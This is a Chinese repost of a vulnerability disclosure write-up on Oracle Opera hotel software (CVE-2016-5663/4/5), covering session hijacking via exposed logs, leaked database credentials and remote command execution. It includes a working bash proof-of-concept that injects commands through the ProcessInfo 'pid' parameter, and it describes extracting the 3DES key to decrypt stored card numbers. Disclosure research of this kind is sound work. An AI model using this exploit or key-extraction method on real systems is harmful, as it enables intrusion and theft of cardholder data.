oracle下session漏洞,Oracle的酒店管理平台RCE漏洞以及持卡人数据泄漏(CVE-2016-5663/4/5)...

本文主要是介绍oracle下session漏洞,Oracle的酒店管理平台RCE漏洞以及持卡人数据泄漏(CVE-2016-5663/4/5)...,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

简介

Oracle Opera(原Micros Opera)是一款用于酒店集团订单管理的主流软件。凯悦和希尔顿等酒店就使用该软件来管理订单以及处理付款流程。

5e3b68dcfd5c880c1fbb33aba3c04bc6.png

为了进行结算,应用程序会将加密后的PAN(信用卡号),到期日,持卡人姓名保留在Oracle SQL数据库中。我们发现了3种不同的方法获取数据库访问权限,一旦攻击者获得了访问权限,他们就可以提取和解密数据库中存储的持卡人数据。

d51020117a4db584ca59c63698106297.png

漏洞分析

CVE-2016-5665: Session Hijacking via Exposed Logs

0ef289373d603736a2ef2845dee0857f.png

用户登录到Opera后,可以选择要使用的交互接口,对于大多数用户来说会选择上图中圈出来的物业管理系统(PMS)接口。启动接口的请求包含了用户的会话令牌和要启动的特定接口的参数。

6d179740e13e4ff969342102ca2be4b0.png

会话令牌以及其他请求的参数都会记录到同一个目录,且不需要进行身份验证就可以通过Web服务器访问。

87f3055ec9d41e3ee987eb50f14bad93.png

攻击者现在只需要等待管理员用户登录,管理员一旦上线,攻击者就可以获得应用程序的完整权限。

管理员用户可以使用“Opera SQL”工具,该工具可以向数据库提交原始查询

0458587a80812c4b68a77084ad6595ba.png

使用这种方法提取持卡人数据的弊端就是速度太慢而且不够隐蔽,每次查询都会被记录到应用层。此外其使用的Oracle Forms用户界面还不如直接连接到数据库服务器来的高效。

CVE-2016-5664: Exposure of Oracle SQL Database Credentials

如果攻击者与数据库服务器在同一个网络上,另一种方法则是构造一个数据库连接字符串。打开通过身份验证的Oracle Forms,其响应的HTML中返回了数据库凭据和服务名称,数据库服务器主机名可在未经身份验证的servlet的响应中访问。

7a6608c9e4dca1ef5f24bef72d843f8d.png

至此,攻击者还需要使用简单的连接语句连接到sqlplus。如此就可以避开日志记录以及使用“Opera SQL”工具的低效率。sqlplus [Username]/[Password]@[Hostname]:[Port]/[Service Name]

75a460258ab22606a4c3ff9c857174ac.png

CVE-2016-5663: RCE via OS Command Injection and RFI

在攻击者只能访问应用程序服务器,或者数据库服务器的入站连接仅限于应用程序服务器的情况下,就体现出该远程代码执行漏洞就的优势了。这是我最中意的发现了,因为他把看似毫不相干的元素组合在一起来完成恶意目的。

诊断过程信息的servlet,将返回一个PID信息。

对于黑盒测试来说PID参数传入连接字符串以进行命令执行的这个过程不是很清晰。如下图所示,攻击者通过修改参数以执行另外一个命令,并将该输出内容发送到可以通过web服务器访问的另外一个文件。

e3dab3f93b87939aecc45e3bc066e1e4.png

预计如果没有出错,他应该会在Web根目录下的webtemp文件夹中返回whoami输出。然而我却得到的了一个错误消息,其指出某个文件丢失。

6db2eb1c41d573455e56f16b9f208683.png

查看servlet对应的代码,我们可以看到错误发生位置。构造的命令行包含来源于属性文件的pslist实用程序的路径。该文件被硬编码到D:\micros\opera\operaias\default.env。

但这个文件似乎不存在,这也是为何函数在执行pslist前失败的原因。

2c06386835caf69b38b2dd87a5ae1090.png

完成以下两点即可解决该servlet问题:

1.找到OPERA_HOME属性

2.将其保存到D:\micros\opera\operaias\default.env

巧合的是有一个经过诊断的servlet,暴露了opera_home属性。

9a3a3a13cb9c7936d0f1389dc6b354c4.png

而另一个诊断的servlet也合宜的暴露了RFI向量上传的目标路径:

528e661e79115d1def7fef75c1b31661.png

再次利用ProcessInfo servlet,可以看到输出正常。且whoami返回的结果我们得知该应用是以system权限运行的。

38f21a0a1c62268449ccaa8f27540ac1.png

以下POC可用于验证。#!/bin/bash

STDOUT="D:\micros\opera\operaias\webtemp\temp.log"

if [ "$#" -ne 2 ]; then

echo "Usage: $0 "

echo "E.g. : $0 http://opera.example.biz whoami"

exit 1

else

host="$1"

cmd="$2"

fi

# Activate exploit.

curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera"

"$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" >

/dev/null

# Inject command.

curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo"

> /dev/null

curl -# -G "$host/webtemp/temp.log"

# Deactivate exploit.

curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" >

/dev/null

curl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/

webarchive/ProcessInfo" > /dev/null

持卡人数据解密

结合上述漏洞组合,攻击者可以获得对数据库的认证访问。在数据库中,攻击者可以检索持卡人数据并进行解密。根据Opera knowledgebase,信用卡号和到期日期都以3DES加密格式存储在数据库表中。

对于攻击者而言,获取到3DES的加密密钥就是关键了。OPERA使用DBMS_OBFUSCATION_TOOLKIT程序包执行3DES加密,这个包没有用来存储密钥,其创建一个单独的程序包用来存储密钥以及处理加密函数调用。

PL/SQL的包装工具用来对代码进行混淆处理,且每次更改加密密钥后都会重新生成此程序包

用于检索包体的示例SQL查询如下:SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE '%IFC_CRYPT_V4_%'

由于包体仅仅只是进行了混淆处理,因此可以对其进行去混淆化或“解包”以显示3DES密钥。

8fb8093d1f0541d1d9fd258209d69d13.png

现在已知密钥和算法,对于攻击者来说接下来便是找到用于存储加密数据的表了。

该信息可以从OPERA knowledgebase中获得:

2783c0dc1292c7b55997a1d48e27f780.png

在NAME$_CREDIT_CARD表中执行一个select查询就可以得到用户姓名以及加密的信用卡信息,然后可以通过脚本将其解密为明文

6e3362ff9de163931611c9e1d7094dba.png

*参考来源:thuraisamy,FB小编鸢尾编译,转载请注明来自FreeBuf(FreeBuf.COM)

这篇关于oracle下session漏洞,Oracle的酒店管理平台RCE漏洞以及持卡人数据泄漏(CVE-2016-5663/4/5)...的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/333176

相关文章

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名

canal实现mysql数据同步的详细过程

《canal实现mysql数据同步的详细过程》:本文主要介绍canal实现mysql数据同步的详细过程,本文通过实例图文相结合给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的... 目录1、canal下载2、mysql同步用户创建和授权3、canal admin安装和启动4、canal

使用jenv工具管理多个JDK版本的方法步骤

《使用jenv工具管理多个JDK版本的方法步骤》jenv是一个开源的Java环境管理工具,旨在帮助开发者在同一台机器上轻松管理和切换多个Java版本,:本文主要介绍使用jenv工具管理多个JD... 目录一、jenv到底是干啥的?二、jenv的核心功能(一)管理多个Java版本(二)支持插件扩展(三)环境隔

使用SpringBoot整合Sharding Sphere实现数据脱敏的示例

《使用SpringBoot整合ShardingSphere实现数据脱敏的示例》ApacheShardingSphere数据脱敏模块,通过SQL拦截与改写实现敏感信息加密存储,解决手动处理繁琐及系统改... 目录痛点一:痛点二:脱敏配置Quick Start——Spring 显示配置:1.引入依赖2.创建脱敏

Go语言中泄漏缓冲区的问题解决

《Go语言中泄漏缓冲区的问题解决》缓冲区是一种常见的数据结构,常被用于在不同的并发单元之间传递数据,然而,若缓冲区使用不当,就可能引发泄漏缓冲区问题,本文就来介绍一下问题的解决,感兴趣的可以了解一下... 目录引言泄漏缓冲区的基本概念代码示例:泄漏缓冲区的产生项目场景:Web 服务器中的请求缓冲场景描述代码

Oracle修改端口号之后无法启动的解决方案

《Oracle修改端口号之后无法启动的解决方案》Oracle数据库更改端口后出现监听器无法启动的问题确实较为常见,但并非必然发生,这一问题通常源于​​配置错误或环境冲突​​,而非端口修改本身,以下是系... 目录一、问题根源分析​​​二、保姆级解决方案​​​​步骤1:修正监听器配置文件 (listener.

详解如何使用Python构建从数据到文档的自动化工作流

《详解如何使用Python构建从数据到文档的自动化工作流》这篇文章将通过真实工作场景拆解,为大家展示如何用Python构建自动化工作流,让工具代替人力完成这些数字苦力活,感兴趣的小伙伴可以跟随小编一起... 目录一、Excel处理:从数据搬运工到智能分析师二、PDF处理:文档工厂的智能生产线三、邮件自动化:

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

Python数据分析与可视化的全面指南(从数据清洗到图表呈现)

《Python数据分析与可视化的全面指南(从数据清洗到图表呈现)》Python是数据分析与可视化领域中最受欢迎的编程语言之一,凭借其丰富的库和工具,Python能够帮助我们快速处理、分析数据并生成高质... 目录一、数据采集与初步探索二、数据清洗的七种武器1. 缺失值处理策略2. 异常值检测与修正3. 数据

Python中bisect_left 函数实现高效插入与有序列表管理

《Python中bisect_left函数实现高效插入与有序列表管理》Python的bisect_left函数通过二分查找高效定位有序列表插入位置,与bisect_right的区别在于处理重复元素时... 目录一、bisect_left 基本介绍1.1 函数定义1.2 核心功能二、bisect_left 与